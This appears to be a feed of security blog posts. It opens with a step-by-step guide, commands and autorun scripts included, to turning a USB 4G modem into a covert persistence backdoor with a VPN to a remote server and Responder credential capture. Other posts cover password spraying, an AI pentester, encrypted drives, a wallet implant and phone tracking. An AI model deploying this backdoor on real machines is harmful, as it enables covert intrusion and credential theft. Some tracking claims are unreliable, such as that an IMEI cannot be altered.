Welcome back, aspiring cyberwarriors!

Previously, we had a few articles showing what crafty hackers can do to attack your system with a USB drive. Today we’ll cover yet another approach they might take, turning a USB modem into a persistence mechanism. As always, we’ll discuss practical ways to protect yourself from it.

When hackers have physical access to a potential victim’s computer, they aren’t limited to one-time actions. With just a few minutes, they can establish a persistent communication channel that continues to function long after they’ve walked away. This can be achieved using a regular USB modem that’s been slightly modified in advance.

Modern 4G USB modems, especially those based on the HiLink architecture, are more powerful than they appear. Although they look like slightly oversized flash drives, they’re small computers running a full operating system. Many of these devices run embedded Linux environments, sometimes alongside other systems such as VxWorks for handling GSM communication. These modems are autonomous. They’re powered directly through USB, they boot within seconds, and they present themselves to the host computer as a network interface.

A popular example is the Huawei E3372h-153. It has strong community support, accepts modified firmware, and includes everything needed to build an independent communication channel. When you connect this thing, it behaves like a virtual Ethernet adapter. To the OS it looks like just another network card. But inside that modem you have a full system capable of running scripts, managing connections, and interacting with the host machine. The computer believes it’s simply using a network interface, while the modem itself can communicate with external infrastructure over the mobile network. Unlike traditional implants, this one doesn’t depend on the victim’s internal network at all.

There are commercially available tools designed for similar purposes (LAN Turtle), but they typically rely on existing network connectivity. They don’t have an independent 4G communication channel.

Implementation

From an engineering perspective, the device is already almost perfect. It draws power directly from USB and uses its own 4G connection, so it will communicate even in isolated environments. 

To unlock its potential, we will need to modify the firmware. After reflashing, the internal operating system will automatically establish a VPN connection to a remote control server using the mobile network.

The first step is gaining access to the modem’s internal system. You can do it using Telnet or ADB:

kali > telnet 192.168.8.1
kali > adb connect 192.168.8.1:5555

Then we need to enable debugging features to configure things:

modem > curl http://192.168.8.1/html/switchDebugMode.html
modem > minicom -D /dev/ttyUSB0

With debug mode enabled, the firmware can be replaced:

modem > at^godload # Enter firmware mode. The modem will reboot
modem > sudo ./balong_flash -p /dev/ttyUSB0 E3372h-153_Update_22.200.15.00.
00_M_AT_05.10_nv.exe

After rebooting, the modem usually presents itself as multiple devices, including a virtual CD-ROM and storage. These features are unnecessary and may reveal the device’s presence, so they should be disabled:

modem > AT^NVWREX=50091,0,60,1 0 0 0 FF 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 A3
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 # Disable CD-ROM mode on startup, enable RNDIS/CDC
AT^RESET # Reboot

Next comes a subtle but important adjustment. The DHCP configuration is modified so the modem does not present itself as a gateway. This helps avoid interfering with the host system’s routing behavior and keeps the device less noticeable:

modem > cat <<EE > /data/config
Interface br0
MinLease 30
Vendorid c0012
Address main
EnbSrv 1
Start 192.168.8.100
End 192.168.8.200
Option lease 86400
Option subnet 255.255.255.0
Address main end
EE

The config file will look like this: 

To establish remote control, an OpenVPN client is installed directly on the modem. Precompiled binaries are here.

Here is how:

modem > adb push tun.ko /online/ovpn/
modem > adb push openvpn /online/ovpn/
modem > adb push vds.ovpn /online/ovpn/
modem > cat <<EE > /data/vpn.sh
#!/system/bin/busybox sh
while :; do /online/ovpn/openvpn --config /online/ovpn/vds.ovpn
--route-noexec; done
EE
modem > chmod 700 /data/vpn.sh

modem > busybox passwd

modem > reboot

The VPN runs in a continuous loop, so even if the connection drops, it won’t be a problem. Finally, autorun scripts and routing rules are configured so that traffic flows correctly between the 4G network and the target machine:

modem > mount -o remount,rw /dev/block/mtdblock16

modem > cat <<EE >> /system/etc/autorun.sh
/data/autorun.sh &
EE

modem > cat <<EE > /data/autorun.sh
#!/system/bin/busybox sh
killall dhcps.real
cp /data/config /var/dhcp/dhcps/config
dhcps.real &
sleep 5
insmod /online/ovpn/tun.ko
/data/vpn.sh &
iptables -t nat -A POSTROUTING -o br0 -s 172.16.0.0/24 -j MASQUERADE
iptables -I INPUT 1 -i br0 -p tcp --dport 80 -j DROP
iptables -I FORWARD 2 -i br0 -o wan0 -j DROP
EE

modem > chmod 700 /data/autorun.sh

The autorun script should look like this:

At this point, the modem has become a self-contained communication bridge.

Persistence

When deployed, the hardware backdoor does not look impressive. That is its strength. It resembles a slightly larger USB flash drive.

Because the device uses a mobile network, it does not rely on the internal infrastructure of the organization. Even if the local network has no internet access, the modem maintains a stable connection to the outside world.

Hackers can connect to the same VPN server from another device, linking themselves to the compromised machine. The modem forwards traffic in a reverse direction being a gateway into the target system.

L2 Access

This method of persistence provides network access only to the machine the modem is connected to. To make attacking the target system easier, it may be necessary to establish an L2VPN tunnel that is closer to the target. This requires creating another VPN tunnel inside the existing one. If the first VPN is used solely for communication with the device lan_turtle, the second one provides the maximum possible network access to the computer through the USB-emulated network. 

To achieve this, we need to run a few commands inside the USB modem. These commands will create a VPN tunnel and place the newly created virtual interface into a network bridge together with the USB interface. Inside the modem run these commands:

modem > ./openvpn --config l2.ovpn --route-noexec
modem > brctl addif br0 tap1
modem > ifconfig tap1 0

Here is an example of the l2.ovpn file:

The L2VPN interface will have an IP address, which is not actually needed since OpenVPN is already running. It can be reset, after which the interface can simply be added to the bridge. As a result, L2 packets from the compromised machine will flow into the VPN interface. This means the hacker doesn’t just gain logical network access to the target PC, but they will see it as if they were directly plugged into it with a regular Ethernet cable.

On the hacker’s side, it is only necessary to connect to the modem and establish a VPN tunnel, then manually assign it an IP address from the subnet of the victim computer’s network adapter:

kali > sudo openvpn --config lan_turtle.ovpn --route-noexec
kali > sudo ifconfig tap0 192.168.8.200/24

The configuration file for connecting to lan_turtle to establish an L2VPN tunnel is lan_turtle.ovpn and it looks like this:

With this setup, the hacker gains direct access to the internal network. Responder can then be used to capture auth data:

kali > responder -I tap0 -d -w -F

Defense

Although the technique is technically sophisticated, you only need physical USB access. Because of that, defensive strategies are simple.

Organizations should treat USB ports as sensitive interfaces. Restricting unknown devices, disabling USB-based network adapters through system policies, and regularly inspecting machines can help you reduce risk. Just as importantly, physical access must be controlled. Even the most advanced software defenses cannot protect a system if someone is allowed to plug in their own hardware.

Summary

The Huawei E3372h-153 and similar devices can be used for persistence, using their own mobile data connection to maintain remote access independent of the victim’s network. Modified modems can automatically set up VPN tunnels and persistently reconnect, which creates a backdoor into the system even after they leave.

If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.

The post Social Engineering: Modem-Based Persistence in a Compromised Environment first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Recently a new project was released by Praetorian. Praetorian is open-sourcing the offensive tools their red team actually uses on engagements. They call it 12 Caesars and their team is planning to release one tool a week for twelve weeks. Every tool is written in Go and ships as a single binary with zero external dependencies.

Each tool is assigned a Caesar name and a blog post, where you can learn more about these tools.

We’ll look at four of these tools, including the basic ones, to make this article suitable for everyone. Before we proceed, it’s important to remind you that you can only test systems you own or have explicit written authorization to test. We will use our lab for it.

Titus

Our first tool is Titus. Titus finds credentials, API keys, and tokens in source code, files, git history, container images, and more. The tool has 487 detection rules covering AWS, GCP, Azure, GitHub, Slack, databases and hundreds of other services. Similar to TruffleHog, it can validate credentials as it finds them by calling the provider APIs.

It’s also available as a Burp Suite extension and a Chrome extension.

kali > curl -sL -o titus https://github.com/praetorian-inc/titus/releases/latest/download/titus-linux-amd64
kali > chmod 777 titus
kali > ./titus --help

Let’s start by pointing it at test keys released by Truffle Security.

It found all the keys in the repo. Companies often publish their secrets by accident. Some live in the repositories for years, so it’s good to do regular checks to prevent unnecessary leakage.

Nerva

Nerva is a fingerprinter supporting 170 protocols across TCP, UDP, and SCTP, plus dozens of HTTP technology fingerprinters. You can feed it with open ports from naabu, nmap or other tools and it’ll tell you what’s actually running with its version.

kali > curl -sL -o nerva.tar.gz https://github.com/praetorian-inc/nerva/releases/download/v1.70.3/nerva_1.70.3_linux_amd64.tar.gz
kali > tar --no-same-owner -xzf nerva.tar.gz
kali > chmod 777 nerva
kali > ./nerva --help

Now let’s use our Ubuntu to show a basic test.

kali > ./nerva -t 192.168.131.9:22,11434

It will be way more useful when you work with big lists of corporate assets during a pentest.

Brutus

Brutus is a modern Hydra alternative. It supports more than 40 protocols including SSH, RDP, MySQL, PostgreSQL and a lot more. Brutus was built to work with Nerva or naabu output.

kali > curl -sL -o brutus.tar.gz https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz
kali > tar --no-same-owner -xzf brutus.tar.gz
kali > chmod 777 brutus
kali > ./brutus --help     

Each command has its own help menu to make it easy to work with.

kali > ./brutus creds --help

Now once again lets use our Ubuntu to spay passwords. 

kali > ./brutus creds --target 127.0.0.1:22 --protocol ssh “admin:admin”

It was easy. As mentioned before, this tool chains with Nerva, and that’s how it becomes useful to test the entire infrastructure against common password and detection.

Julius

With AI services proliferating inside corporate environments, we want to know what LLM infrastructure is running on our hosts. Julius will fingerprint more than 60 AI services including Ollama, vLLM, LiteLLM, LocalAI, Hugging Face TGI, AWS Bedrock and AnythingLLM. It can also list available models from endpoints.

kali > curl -sL -o julius.tar.gz https://github.com/praetorian-inc/julius/releases/download/v1.5.1/julius_1.5.1_linux_amd64.tar.gz

kali > tar --no-same-owner -xzf julius.tar.gz
kali > ./julius --help

You can list all the AI services Julious can fingerprint: 

kali > ./julius list

We will take a look at our machine.

kali > ./julius probe http://192.168.131.7:11434

Ollama sits on port 11434, and it’s important not to leave it exposed publicly, because everyone can use your models without authentication.

Summary 

There are more tools available in this project. Most of them are meant to be chained together and work well this way. The company says its team is actively using these same tools during their engagements. While you won’t need everything at once, experiment with those tools and see what fits you best.

If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.

The post Pentesting: Twelve Caesars – Community Tools for Offensive Security first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors! 

We’re continuing our series on Artificial Intelligence in Cybersecurity with another tool called Shannon. Shannon is a white-box AI pentester. It was created to test the security of your project by pointing it at the source code and the test stand. That means it needs both the running application and the source code. First, Shannon does an in-depth analysis of the code in the repository, then looks for attacks against that same project you’re hosting locally. This white-box approach is certainly more effective, as models don’t have to guess possible vulnerabilities, since guessing varies greatly depending on the model you use. Vulnerabilities can only make their way to the report if they have a working PoC. As always, only test systems you own or have explicit written authorization to test.

Now let’s take a closer look at Shannon and test our Juice Shop with it.

Setting Up

Juice Shop is just a Docker container, so we will install Docker and npm first.

kali > sudo apt update
kali > sudo apt install -y docker.io nodejs npm
kali > sudo systemctl enable docker --now
kali > sudo usermod -aG docker $USER
kali > newgrp docker

Then comes the Juice Shop.

kali > docker pull bkimminich/juice-shop
kali > docker run -d --name juice-shop --restart unless-stopped -p 3000:3000 bkimminich/juice-shop

It’s up and running. Now we need to copy the repository to our disk.

kali > git clone --depth 1 https://github.com/juice-shop/juice-shop.git

Once we have it all set, we can get Shannon. Unlike Pentestcode and other tools, Shannon runs differently. By default, it expects your AI API keys in the env. In the next sections we’ll show how to run Shannon with OpenRouter and Ollama.

OpenRouter

Shannon wants to see your API key in the env. You will also need a models.json file somewhere on your disk. Copy the following command to create it.

cat > ~/models.json << 'EOF'
{
  "providers": {
    "openrouter": {
      "apiKey": "YOUR_API_KEY",
      "models": [
        {
          "id": "nvidia/nemotron-3.5-lightning:free",
          "name": "NVIDIA Nemotron 3.5 Lightning (free)",
          "reasoning": true,
          "input": ["text"],
          "thinkingLevelMap": {
            "off": null,
            "minimal": null,
            "low": "low",
            "medium": null,
            "high": "high",
            "xhigh": null,
            "max": "max"
          },
          "contextWindow": 262144,
          "maxTokens": 65536,
          "cost": {
            "input": 0,
            "output": 0,
            "cacheRead": 0,
            "cacheWrite": 0
          },
          "compat": {
            "supportsDeveloperRole": false,
            "thinkingFormat": "openrouter"
          }
        }
      ],
      "api": "openai-completions",
      "baseUrl": "https://openrouter.ai/api/v1"
    }
  }
}
EOF

Then pass the keys and validate the setup.

kali > export SHANNON_AI_API_KEY="sk-or-v1-YOUR_KEY"
kali > export SHANNON_AI_MODEL="openrouter:nvidia/nemotron-3.5-lightning:free"

kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop --validate-model

If you see it’s validated, then you can run a full security analysis.

kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop -c ~/juice-quick.yaml --models-config ~/models.json --follow

This will take a while and your free daily tokens won’t be enough to complete the scan.

As the security test progresses, you’ll see all the commands and prompts it runs. Obviously, the frontier models will give better results.

Ollama

Shannon isn’t only limited to APIs. You can perform the same scan with a local model. Many openweight models will be a great fit for it if you have the necessary hardware to make it work smoothly.

Just for the demonstration we’ll use Qwen 2.5-coder 7b.

kali > curl -fsSL https://ollama.com/install.sh | sh
kali > ollama pull qwen2.5-coder:7b

We’ll create the same models.json file to point Shannon to our Ollama.

{
  "providers": {
    "ollama": {
      "baseUrl": "http://127.0.0.1:11434/v1",
      "api": "openai-completions",
      "apiKey": "ollama",
      "models": [
        {
          "id": "qwen2.5-coder:7b",
          "name": "Qwen 2.5 Coder 7B",
          "input": ["text"],
          "contextWindow": 32768,
          "maxTokens": 8192,
          "cost": { "input": 0, "output": 0 },
          "compat": {
            "supportsDeveloperRole": false,
            "supportsReasoningEffort": false
          }
        }
      ]
    }
  }
}

Make sure your Ollama is accessible, and change the IP address if needed.

kali > export SHANNON_AI_API_KEY=ollama
kali > export SHANNON_AI_MODEL=ollama:qwen2.5-coder:7b
kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop -c ~/juice-quick.yaml --models-config ~/models.json --validate-model

Before we do anything, let’s validate the model.

If your model has been validated and you can start scanning your project.

kali > kali > npx @keygraph/shannon@latest start -u http://172.17.0.1:3000 -r /home/kali/juice-shop -c ~/juice-quick.yaml --models-config ~/models.json --follow

Reporting

When the scan finishes, Shannon creates PDF and Markdown reports with the evidence attached to them. You will also see structured JSON and SARIF files for downstream systems.

Below is an example of a PDF report. As you can see, multiple vulnerabilities were found in the project, some of them are classified as High. As mentioned before, all the findings here were validated with PoCs.

Summary

Shannon was made to find flaws in your web apps to make them more secure. It digs through the project repository and runs checks against a live system. It then creates a report with findings that were discovered with PoCs, so you get a clean report. As AI becomes more prevalent in cybersecurity, it should be used to improve the security of your projects before their release. Of course, that doesn’t replace a human in the loop, but it makes things faster. Stick to better models and don’t cut back on your security.

AI is evolving rapidly and the sooner you learn how to work with it, the greater the advantage you’ll have. That’s why we invite you to join our AI for Cybersecurity training. During this training, you will see you different ways of using AI in cybersecurity, set up local models and solve labs.

The post Artificial Intelligence (AI) in Cybersecurity, Part 30: Shannon – AI Pentester for Web Apps and APIs first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

You may know that privacy laws aren’t respected everywhere. In some places you can be forced to decrypt your files, or worse, get accused of a violation just for having encryption. A VeraCrypt hidden volume helps with the first problem but not the second. That’s why the project developer built Phantomdrive.

Phantomdrive is a fully open source USB drive that shows up as an 8GB disk when you plug it in. The OS has no way to detect the rest of the storage. To unlock the hidden partition, you open a text file on the visible part of the drive, type password: YOURPASSWORDHERE and save it. The drive disconnects, remounts the hidden partition, and AES-256 handles the encryption and decryption on the fly.

Design

The hardware, firmware, and mechanical design are all open source. The developer built it around a small chip called the CH569, from the same company behind the CH340 USB-to-Serial chip you’ll find on most Arduino clones. It has USB3, SD/eMMC support, and a hardware AES block built in.

eMMC was too expensive due to AI-driven demand, so the developer went with an SD card instead. If someone tears the device apart they’ll find it, but everything on it is encrypted. The enclosure is sealed with epoxy, so any attempt to get inside means destroying it first. Once eMMC prices drop, a version using it will follow.

The board itself is simple. It’s a CH569 chip, a USB port, two buck converters, a firmware update button, an SD card, and some supporting components.

Cryptography

The developer verified encryption works through functional tests and ran it against OpenSSL’s AES implementation. Most of the GitHub issues that surfaced were AI-generated noise or already fixed bugs, with one real exception around AES-XTS covered below.

Key Derivation

A Key Derivation Function (KDF) turns your password into an encryption key. The naive approach is padding the password to 32 bytes and using it directly.

That’s weak. A precomputed table could crack it without even brute forcing. To fix that, Phantomdrive adds a unique salt per device.

With different salts, an attacker has to compute keys for each device separately, and you can’t swap the SD card between devices. You can read your salt like this:

udevadm info --query=property --name=/dev/sdc | grep ID_SERIAL_SHORT
ID_SERIAL_SHORT=Phantomdrive:34FC1FA7145467F7

So, 34FC1FA7145467F7 is the salt for this device, which you will need to recover the data if it ever fails. Save that value. You can also change the Phantomdrive name and the USB PID/VID in firmware if you want more stealth. On top of the salt, the KDF runs 100,000 rounds of SHA-256.

That adds about 3 seconds to unlock time, which is already at the limit of what the chip can handle. Argon2 isn’t an option since it needs too much memory. If you need stronger security, you can increase the round count, use a software encryption layer on top, or look for a different device.

AES Modes

AES is a block cipher that works on 16-byte chunks. Different modes turn it into a stream cipher.

AES-ECB is the naive approach, encrypting each block directly. The problem is that identical plaintext blocks produce identical ciphertext blocks, which leaks patterns. Attackers can also manipulate the ciphertext in predictable ways. Not good.

AES-CTR solves this by encrypting a counter and XORing the output with plaintext.

uint64_t i = 0;
while(i < len(ciphertext)) {
    ctr = aes_encrypt(i);
    ciphertext[i] = plaintext[i] ^ ctr
    i++;
}

The main risk with CTR is nonce reuse. If an attacker copies your ciphertext twice and can guess one version, they can recover the other. The developer gets around 9 MB/s write and 20 MB/s read with AES-CTR.

AES-XTS is the disk encryption standard and uses two keys. K1 protects the data, K2 generates a tweak per sector. 

Each 16-byte block gets its own adjustment (T0, T1… Tn), then blocks are encrypted one by one to produce the final ciphertext. 

It’s more secure but slower, around 6 MB/s write and 10 MB/s read on this hardware.

Firmware

The firmware is built on two open source libraries:

BSP: https://github.com/hydrausb3/wch-ch56x-lib

ISP: https://github.com/hydrausb3/wch-ch56x-isp

Password Snooping

The device doesn’t understand file systems. It just handles raw USB WRITE10/READ10 commands and passes them to the SD card. To detect the unlock password, the firmware scans every write for the string password: before passing data through.

void phantomdrive_snoop_write(uint8_t *buf, uint32_t len)
{
    const char *prefix = "password:";
    const size_t prefix_len = 9;
    uint32_t i;

    for (i = 0; i + prefix_len <= len; i++) {
        if (buf[i] != 'p')
            continue;
        if (memcmp(buf + i, prefix, prefix_len) != 0)
            continue;

        size_t pw_start = i + prefix_len;
        size_t pw_end = pw_start;
        while (pw_end < len && (pw_end - pw_start) < sizeof(pending_pw) &&
               buf[pw_end] != '\n' && buf[pw_end] != '\r' && buf[pw_end] != '\0')
            pw_end++;

        size_t pw_len = pw_end - pw_start;

        memcpy(pending_pw, buf + pw_start, pw_len);
        pending_pw_len = pw_len;

        memset(buf + i, 0, pw_end - i);
        return;
    }
}

Once the password is found, it gets copied into RAM and the buffer gets zeroed out so the password never touches the disk. Keep in mind, if you store a lot of data on the unencrypted partition and any of it contains the string password:, you could get a false match. If that’s a concern, you can change the trigger string in firmware or look for a different approach.

Video

The developer has also published a video, if you want to get into details of this project. 

Summary

Phantomdrive is an open source USB drive that shows up as a plain 8GB disk while hiding the rest of its storage. You unlock the hidden partition by saving a password in a text file on the visible disk. The firmware catches it in the raw write traffic, keeps it in RAM, and never writes it to disk. Encryption is AES-256 on a CH569 chip, with a per-device salt and 100,000 SHA-256 rounds for key derivation. It’s limited by the hardware, so it’s weaker than memory-hard options like Argon2.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Building a Phantomdrive first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

October 2026 brought a clear demonstration that hardware wallets, while far safer than software alternatives, are not immune to sophisticated physical attacks. 

Beginning on 9 October, hundreds of users who had purchased Ledger devices through the Southeast Asian reseller CryptoBilis saw their funds drained across Bitcoin, Ethereum, TRON and other chains. On-chain researchers estimated losses between roughly $86 million and more than $100 million. Ledger confirmed that at least one affected device contained an unauthorized hardware implant and stated that every confirmed loss in the incident was linked to a device sold by CryptoBilis. The company has emphasized that its own infrastructure, firmware and direct sales channels were not compromised.

The Supply-Chain Attack

The attack was physical. Someone in the distribution chain opened genuine Ledger Nano X devices, installed a small circuit board and resealed them. The implant sits inside the enclosure under or behind the screen where foam padding normally rests, and taps the SPI bus that carries data from the Secure Element to the display. When the owner sets up the device and the screen shows the 24-word recovery phrase, the implant’s microcontroller recognizes those screens, reconstructs the words and sends them out over LTE using a provisioned eSIM and a small antenna. Because the original Secure Element remains untouched, the device continues to pass Ledger’s Genuine Check. Mark Karpelès and Tibane Labs have documented multiple generations of the implant, progressing from early versions with visible wires and a smaller battery to later flex-circuit designs that are harder to notice and sometimes keep the original battery.

Mark Karpelès publicly posted a photo of a unit that arrived from Malaysia with flawless packaging. The extra hardware only became visible when he opened the case.  

Similar implants have been reported in devices obtained through other channels, including Japanese marketplaces and at least one European store, although Ledger has so far tied every confirmed fund loss specifically to CryptoBilis purchases. 

The company has asked the reseller to halt sales and has advised recent buyers not to initialize unused devices. Those who already completed setup are told to move their assets to a new signer purchased directly from Ledger and initialized with a fresh seed phrase.

How to Buy a Hardware Wallet Safely

The single most effective protection is to purchase directly from the manufacturer’s own online store.

Authorized resellers are listed on the manufacturer’s website, yet CryptoBilis was also a partner that introduced modified units into the channel. Marketplace listings of third-party shops carry a much higher risk of both counterfeits and implants. 

Once the package arrives, you should confirm that a new device requires you to generate a recovery phrase yourself on first use. Any recovery phrase that’s already written on a card or printed in documentation belongs to someone else and should never be used. The phrase must appear only on the device’s own screen and you must write it down yourself on paper or metal. Never type it into a computer or phone, don’t use websites or applications with it. 

Below you can see a photo of the hardwallet owner signing a transaction inside the faraday cage to avoid any interference and possible theft.

Check Your Wallet   

The first question is the source of the device. Anyone who bought a Ledger from CryptoBilis or another untrusted reseller in recent months should treat the unit as unsafe.  Genuine Check is still worth running because it confirms that the Secure Element is original and the firmware is approved, yet it can’t detect added circuitry that merely listens to the screen. 

You can also visually inspect the case for extra wires or antennas that can reveal tampering, but modern implants are designed to be inconspicuous and reliable detection usually requires opening the device. After a wallet is set up, compare receiving addresses shown on the device screen against those displayed in the companion application and review transaction history on block explorers for unexpected outgoing transfers. The recovery phrase must be generated by the device under your direct observation and written down only by you.

Mark Karpelès also has a few videos on opening and closing Ledger wallets that you might find helpful.

What to Do If You Suspect Compromise

If a device was purchased from CryptoBilis or any other questionable source and has already been initialized, the existing recovery phrase should be treated as compromised. Move your assets to a new wallet whose seed was generated on a trusted device bought directly from the manufacturer. Never reuse the old seed for any purpose.

More Recommendations

A BIP-39 passphrase adds a meaningful layer of protection because it isn’t displayed during ordinary setup and must be known in addition to the seed. It’s also known as passphrase (the extra “25th word”). It’s optional and you may choose it later. It is not generated or displayed by the device during ordinary setup. Adding it creates a hidden wallet, which means you have completely different keys and addresses. 

For larger holdings use a multisignature arrangement to reduce reliance on any single device. Always check the address where you send your money to, as it can often be replaced by malware or bots making small transactions with similar addresses to mislead you into sending money to this similar address. 

Hardware wallets still provide strong protection against the majority of remote thefts precisely because private keys never leave the Secure Element and every transaction requires physical confirmation on the device itself. 

Summary

Hardware wallets can pass authenticity tests and still contain an implant capable of capturing the recovery phrase the moment it appears on screen. The best thing you can do is to buy devices only from the manufacturer, generate the seed yourself on the device and write it down offline. For anyone who recently purchased a device from a third party, the cost of generating a new seed and moving funds is far lower than the cost of discovering the compromise after the fact.

The post Cryptocurrency: Security Analysis of Hardware Crypto Wallets first appeared on Hackers Arise.

Welcome back, dear investigators!

Our main concern in cybersecurity is protecting systems and recovering from cyberattacks quickly. There are different tools out there built for this, and they keep evolving. Our job is to find what fits best in our environment and stick to the best practices laid out by NIST and ISO.

Today we’ll look at Live-Forensicator, a live response toolkit. The tool supports AI integration to process your findings more efficiently, which is a good thing since many of you know how tedious forensic analysis work can be. It’s optional though, and you can always rely on your own knowledge to verify findings.

Setting Up

Let’s download the archive with scripts and see what’s inside. You can find it here.

Live-Forensicator works on Windows, Linux, and macOS. We’ll be testing it on Windows here. Keep in mind, the tool gets flagged by AV because WinPmem, admin PS, and hash walks look suspicious. Use it only if you think it’s appropriate for your environment, or fall back to other tools since we’ve covered many of them on our website.

PS > powershell -ep bypass Forensicator.ps1 -USAGE

Running Scans

Let’s start with some general scans.

You can launch it without any flags and the tool will ask for details after you start it.

PS > .\Forensicator.ps1 

Or give it some case details upfront. They include the operator name, case ID, location and the device name.

PS > .\Forensicator.ps1 -OPERATOR "Jane Doe" -CASE "IR-2026-001" -TITLE "Workstation triage" -LOCATION "Toronto" -DEVICE "LAPTOP-042"

It’ll take some time to go through all the steps. You’ll see the progress on screen.

When the script finishes, the results get saved in the current folder inside a new directory. Go to reports and open index.html.

Here’s the overview page. You can scroll down and jump to different sections of the report.

Below is the Event Log summary with events sorted by category. We see that accounts successfully logged on (Event ID 4624), then someone looked up what groups certain users belong to (Event ID 4798) and the members of security groups were listed (Event ID 4799). Event ID 4688 logs process creation.

You also get a summary to assess the risks quickly. In our case it was high and the tool explained why.

Forensicator AI

AI is off by default. When it’s enabled, you get a plain language explanation of the results. For AI to work, you need Ollama running. The model can run locally or sit on a separate host accessible to other machines. Mistral AI models can be used for this work.

# Install Ollama (https://ollama.com) and pull a model
PS > ollama pull mistral:7b-instruct

Then edit the config.json file.

"ai": {
  "enabled": true,
  "provider": "ollama",
  "base_url": "http://localhost:11434",
  "model": "mistral:7b-instruct"
}

There’s no -AI flag. The script reads config.json at startup. When AI is on, each finding gets sent to the model after it’s built. If the model is down, the collection still finishes and that row just has no verdict. In the report, open a finding and use the tooltip labeled AI Analysis. Windows also builds an Investigation Summary with a risk score, a rough timeline, and next steps. This is just a briefing, so don’t treat it as the final verdict. Also, keep in mind that AI makes the run a lot slower since every finding is a real model call.

Here are some screenshots of AI analysis.

Summary

During an incident response time is of the essence, so swiftly scanning your hosts for signs of compromise will save you time. There are different situations and cases that require certain approaches, that’s why knowing how to work with different forensics tools is important. Having AI process your analysis results can be helpful, but it might take some time, unless you have a good GPU for it.

If you’re just getting started in forensics, we recommend our Digital Forensics training, where Master OTW walks you through the techniques to find evidence of criminal activity on a computer or network.

The post Digital Forensics: Analyzing Systems with Live-Forensicator first appeared on Hackers Arise.

Welcome back my aspiring cyberwarrior and others interested in cybersecurity!

When people find out I am a professional hacker, one of the most common questions they ask is, “Can the CIA (or other intelligence agency) track my every move?” The short answer is Yes!, they can track your every move if you have a cellphone AND the interested party (CIA or other intelligence agency) has your phone’s unique IMEI number.

Let’s look at how they do this and what you can do to make their job much harder.

IMEI

The IMEI or the International Mobile Equipment Identity number is unique to each phone and can not be altered. If the CIA or other intelligence agency knows this number of your phone, they can track your movements by tracking your phone. This number is available to them by subpoena, search warrant or US Patriot Act provisions.

The IMEI is stamped on your phone and when you open the phone you can find it like below.

In addition, you can find the IMEI under settings of your phone. It is different places in different phones, but look for something such as “About Phone” like below.

IMSI

It is also possible to track a phone and its user by its IMSI (International Mobile Subscriber Identity) number of the phone. Fortunately, this IMSI can be changed out by changing out the SIM (Subscriber Identification Module) card.

MSI numbers are broadcast by your phone when its sends a beacon to connect to the cell tower. It is possible for anyone with the right equipment to intercept and read those IMSI numbers. 

Every time a cell phone attempts to connect, it pings the cell towers in the area to determine which is closest. Every cell phone or other device connecting to the cellular network (such as iPads) does this. Every time a cellphone pings a tower, the phone’s IMSI, IMEI numbers as well as the the location of the cell tower is stored in the carrier’s database.

By triangulating (multiple towers are used to track the phone’s location by measuring the time delay that a signal takes to return back to the towers from the phone) between the pings to the towers in the area, the location of the phone can be determined within 50-500 meters, depending upon the concentration of cell towers. The closer the cell towers are together, such as in an big city, the more precise the data on the location of the phone. In urban areas, your location can be narrowed down to within 50 meters.

Stingrays

Although not a method of tracking but rather of eavesdropping, stingrays are one of the tools intelligence agencies and law enforcement use to listen to cellphones. A stingray is just a compact, mobile cell tower. Law enforcement and intelligence agencies can simply move one into your neighborhood. Your phone will then connect to the closest cell tower. The stingray looks and acts just like a cell tower so you phone connects to it without asking further questions. Once your cell phone connects to the cellular network, the owner of the stingray has access to all the calls and data leaving your phone. For more on stingrays, see my article here.

In the US and other countries (they are banned in the EU), you can buy an inexpensive, limited-feature, pre-paid phone at a local retailer without having to register your name. In this way, it is very difficult for intelligence agencies to connect the phone and its unique IMEI to your identity. To take further precautions, the phone should be purchased with cash so that no credit/debit card trail remains.

When purchasing a burner phone, make certain that you are NOT carrying your other phone with you. Your other phone is tracking all your movements. If you are carrying your that phone, you are creating a record of your visit to the “burner phone” retailer linking you to the purchase and the IMEI of the burner phone thereby frustrating your attempts to remain anonymous. 

Summary

The CIA, any intelligence agency or law enforcement can track your every move very precisely by tracking the cell towers your phone pings before it connects. All this data is stored in the phone carrier’s database and can be accessed by these agencies. The burner phone is probably the best way to frustrate this type of tracking but make certain to take the precautions described above.

The post Confessions of a Professional Hacker: Can the CIA or other Intelligence Agencies Track My Every Move? first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

OpenClaw demonstrated how autonomous, self-evolving agents can change how software operates. However, in the business world, having this power without proper control creates unmanaged risks.

To safely use autonomous agents in a controlled environment, NVIDIA created NemoClaw. In this article, we will look at OpenClaw’s impact, the security issues it raises, the solutions NemoClaw offers to address them, and how to install it. Let’s get rolling!

OpenClaw

OpenClaw (formerly Moltbot and Clawdbot) is an open-source AI agent that runs on your machine, connects through the messaging apps you already use, and takes action on your behalf, including shell commands, browser automation, email, calendar, and file operations.

In a matter of weeks, OpenClaw blew past adoption milestones that took Linux three decades to achieve. The magic is how effortlessly it deploys: you type a single command in a terminal, and it instantly goes out, fetches OpenClaw, builds an active AI agent, and hands over the harnesses.

It’s important to understand that OpenClaw is not just another LLM. It is an operating system for agentic computers. Like traditional operating systems that manage memory and hardware, OpenClaw manages large language models and tool execution. You can text it, email it, talk to it, or even wave at your computer screen, and it will understand you.

